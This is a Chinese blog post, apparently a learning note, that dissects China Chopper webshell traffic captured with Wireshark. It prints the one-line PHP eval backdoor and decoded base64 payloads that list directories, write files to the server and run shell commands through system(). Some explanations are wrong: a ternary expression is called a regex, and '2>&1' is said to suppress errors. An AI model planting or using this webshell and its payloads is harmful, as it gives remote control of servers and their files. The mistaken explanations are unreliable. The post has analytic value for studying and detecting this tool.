中國菜刀原理

用了菜刀用了也有一段時間了,感覺挺神奇了,這裏做一個小小的探究吧,起始也就是用鯊魚抓包看看軟件是怎麼通信實現的,不敢賣弄知識,權當學習筆記了,大神路過呵呵

技術分享

這貨就是主界面,環境啥的就隨意了,IIS,阿帕奇,阿金科斯都可以,我這裏用apache,因爲之前搞的是PHP開發,對PHP相對比較熟悉,隨機就用PHP的一句話來做實驗了,Asp和jsp的原理應該都差不多。

服務端的.php是這樣:

<?php  

         eval($_POST[‘op‘]);  

?>

客戶端連接設置好URL,密碼,連接好之後。我們開始實驗。

因爲右鍵點擊菜單有很多功能,我們就按功能來劃分章節,一個功能一個功能的分析。

1. 自寫腳本

這個之前分析過了,直接粘貼過來了

一句話***的核心就是:

PHP eval() 函數

下面是從Manual上抄的:

eval() 函數把字符串按照 PHP 代碼來計算。

該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。

eval(phpcode)

print("hello PHP!");

就從一個執行簡單命令的這一點入手,抓包分析:

這個中國菜刀發送的HTTP包的數據部分:

op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

這是服務器返回的HTTP數據包

\357\273\277->|hello PHP!|<-

可以看出,這裏用了base64編碼,爲了防止特殊字符傳輸失敗的異常。

用base64解碼工具解碼,得出上面HTTP包的數據部分爲:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("hello PHP!");;echo("|<-");die();

1. 先用@ini_set("display_errors","0");臨時關閉PHP的錯誤顯示功能

2. @set_time_limit(0);防止像dir、上傳文件大馬時超時

3. @set_magic_quotes_runtime(0);關閉魔術引號,這東西在4.0以後就不怎麼用了

4. echo("->|");沒啥好說的

5. print("hello PHP!");輸出字符串

6. die();人如其名

其他的指令也是同一個道理了。

eval會在執行完指令後將結果回顯給當前這個HTTP連接。

感覺自寫腳本不是太好用,因爲要自己手工寫如PHP代碼,對格式的要求比較嚴格,不然eval就執行失敗,而客戶端的好處就是把底層的代碼邏輯都用UI封裝好了,所以我們現在開始研究其他的功能。

2. 文件管理

2.1 列目錄

技術分享

右鍵點擊文件管理,記住一定要點擊更新緩存才能抓到包,因爲菜刀這個時候顯示的是上一次的緩存,你要更新一下緩存它纔會重新發送數據去獲取最新的文件情況。

技術分享

可以看到菜刀只發了一句話(果然叫一句話).

[truncated]op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXGluZXRwdWJcXHd3d3Jvb3RcXA%3D%3D

通過上面的實驗我們知道,這一大段baseCode是好幾條指令合在一起的,爲了能看清功能,我們人工把它們分成幾段來看,我們都知道base64的編碼原理是把3個字符編碼成4個字符,所以我們分段後的個數一定是4的倍數,根據這個原則能很快的將指令分開來。

還有一點要特別注意,我一開始直接用php_decode對這段字符串解碼時,顯示的一直是亂碼,想了很久也不知道怎麼回事,後來看到網上說到base64編碼的原理才煥然大悟。

http://www.cnblogs.com/hongru/archive/2012/01/14/2321397.html

原來是URL編碼的問題,大概是這樣的,因爲現在web環境中URL中出現中文等特殊字符是很常見的現象了,這個時候瀏覽器會自動把這些特殊字符轉換成相 應的URL Code。而這些數據發送到服務器(apache)之後,服務器會自動先將數據中的URL Code轉換會對應的ASCII(注意,就是轉成ASCII,之後你要把她當成baseCode是你的事,對服務器來說這時候她就是一個ASCII碼)。 所以說,上面抓的數據包進行URL逆編碼後爲這樣:

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXGluZXRwdWJcXHd3d3Jvb3RcXA==

用base64解碼後:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();&z1=C:\\inetpub\\wwwroot\\

前面幾條命令是說過的,我們重點看:

$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();&z1=C:\\inetpub\\wwwroot\\

對代碼進行一下整理:

$D=base64_decode($_POST["z1"]);
$F=@opendir($D);
if($F==NULL)
{
    echo("ERROR:// Path Not Found Or No Permission!");
}
else
{
    $M=NULL;
    $L=NULL;
    while($N=@readdir($F))
    {
        $P=$D."/".$N;
        $T=@date("Y-m-d H:i:s",@filemtime($P));
        @$E=substr(base_convert(@fileperms($P),10,8),-4);
        $R="\t".$T."\t".@filesize($P)."\t".$E." ";
        if(@is_dir($P))
            $M.=$N."/".$R;
        else 
            $L.=$N.$R;
    }
    echo $M.$L;
    @closedir($F);
};
echo("|<-");
die(); 

從W3C手冊上抄來的:

opendir() 函數打開一個目錄句柄,可由 closedir(),readdir() 和 rewinddir() 使用。

若成功,則該函數返回一個目錄流,否則返回 false 以及一個 error。可以通過在函數名前加上 "@" 來隱藏 error 的輸出。 

readdir() 函數返回由 opendir() 打開的目錄句柄中的條目。

若成功,則該函數返回一個文件名,否則返回 false。

fileperms() 函數返回文件或目錄的權限。

若成功,則返回文件的訪問權限。若失敗,則返回 false。

base_convert() 函數在任意進制之間轉換數字。

語法

base_convert(number,frombase,tobase)

filesize() 函數返回指定文件的大小。

若成功,則返回文件大小的字節數。若失敗,則返回 false 並生成一條 E_WARNING 級的錯誤。

從代碼可以清楚地看出,在接收z1=C:\\inetpub\\wwwroot\\這個參數後,代碼打開指定目錄的句柄,然後進行循環掃描,並附帶上權 限、時間、大小、日期這四個參數,用\t製表符拼在一起捆綁發送回客戶端,這是一種很常見的做法,將所有的需要的參數用一個定界符分開然後捆綁發送,到客 戶端怎麼做呢?根據我自己的C變成經驗,一定是用string_split之類的函數分開來,再循環一一顯示在UI上,如果想要深究可以用IDA和OD逆 向分析一下。

執行完這些代碼之後,就完成了列目錄的功能。

2.2 上傳文件

接下來看看webshell最重要的功能,上傳文件,這是進一步橫向***到基礎

話不多說,我們先傳一個圖片上去

技術分享

技術分享

這次的鯊魚抓包看到了是2組來回對話。基本心裏有數了,好,我們先分析第一個包

技術分享

第一個HTTP包從鯊魚中導出來 是這樣,做過web開發的都知道,當表單中加入屬性enctype="multipart/form-data",傳輸方式爲post的時候,我們上傳的 文件會被編碼爲base64然後(根據瀏覽器可能有壓縮)和HTTP頭一起構成一整個HTTP數據包發送給服務器端。也就說,後面的這大段數據都是我剛纔 上傳的圖片。我的感覺就是菜刀客戶端是在模擬一個表單傳文件的行爲,模擬出一個文件上傳的POST數據包,發往服務器,個人的理解,不知道對不對。

爲了驗證這個觀點,我們對數據的開始那部分進行解碼:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();

整理一下代碼:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
    $buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
&z1=C:\\inetpub\\wwwroot\\1.png

&z2=..................... (後面跟的那一大段數據都是z2)代碼基本上來說最關鍵的就是那個fwrite,就是將我們指定的裝滿數據的緩衝區寫入我們指定的一個路徑中。只要 apache用戶在當前目錄下有寫權限,php調用win api的時候就能完成寫操作。

還記得之前說的文件上傳客戶端和服務器進行了兩次交互,然後再看第二個數據包的內容。解碼之:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

不用再整理了,就是和之前的列目錄是一樣的,代碼重用了一下,本質上就是刷新一下。這樣就能立刻更新本地緩存,顯示出剛纔上傳的文件。

3. 虛擬終端

這個功能也是菜刀很逆天的一個功能,效果和我們進行溢出***後獲得的cmd shell一樣,感覺很神奇,接下來探究一下它實現的原理。

技術分享

還是老方法,先運行一個dir命令,然後抓包分析之。

技術分享

解碼之:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c ‘{$s}‘":"/c {$s}";$r="{$p} {$c}";@system($r." 2>&1");;echo("|<-");die();
&z1=cmd
&z2=cd /d "C:\wamp\www\"&dir&echo [S]&cd&echo [E]

整理一下代碼:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c ‘{$s}‘":"/c {$s}";
$r="{$p} {$c}";
@system($r." 2>&1");;
echo("|<-");
die();
&z1=cmd
&z2=cd /d "C:\wamp\www\"&dir&echo [S]&cd&echo [E]

繼續從W3C上抄函數聲明:

dirname() 函數返回路徑中的目錄部分。

$_SERVER["SCRIPT_FILENAME"]:

當前執行腳本的絕對路徑。

如果在命令行界面(Command Line Interface, CLI)使用相對路徑執行腳本,例如 file.php 或 ../file.php,那麼 $_SERVER[‘SCRIPT_FILENAME‘] 將包含用戶指定的相對路徑。

substr() 函數返回字符串的一部分。

substr(string,start,length)

string system(string command, int [return_var]);

本函數就像是 C 語中的函數 system(),用來執行指令,並輸出結果。若是 return_var 參數存在,則執行 command 之後的狀態會填入 return_var 中。同樣值得注意的是若需要處理用戶輸入的資料,而又要防止用戶耍花招破解系統,則可以使用 EscapeShellCmd()。若 PHP 以模塊式的執行,本函數會在每一行輸出後自動更新 Web 服務器的輸出緩衝暫存區。若需要完整的返回字符串,且不想經過不必要的其它中間的輸出界面,可以使用 PassThru()。

如果return_val存在的 話,那麼執行的結果信息將被寫入return_val中,@system($r." 2>&1");;我們都知道在C語言中,2代表錯誤輸出流的意思,PHP是用C寫的,當然也繼承了這個特性,那這個意思就是執行系統命令, 並屏蔽錯誤顯示。

$c=substr($d,0,1)=="/"?"-c ‘{$s}‘":"/c {$s}";

這是一段正則表達式,用捕獲分組獲得字符串中的參數,這裏也就是 cd /d "C:\wamp\www\、 dir、 echo、 cd、 echo。

注意上面system函數的聲明:若 PHP 以模塊式的執行,本函數會在每一行輸出後自動更新 Web 服務器的輸出緩衝暫存區。

這就是說,我們指定的這個命令會分別執行,然後輸出結果

基本上就是這樣了。

4. 數據庫管理

這塊因爲我自己也沒搞清楚,先留着吧,過段時間再來研究研究。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章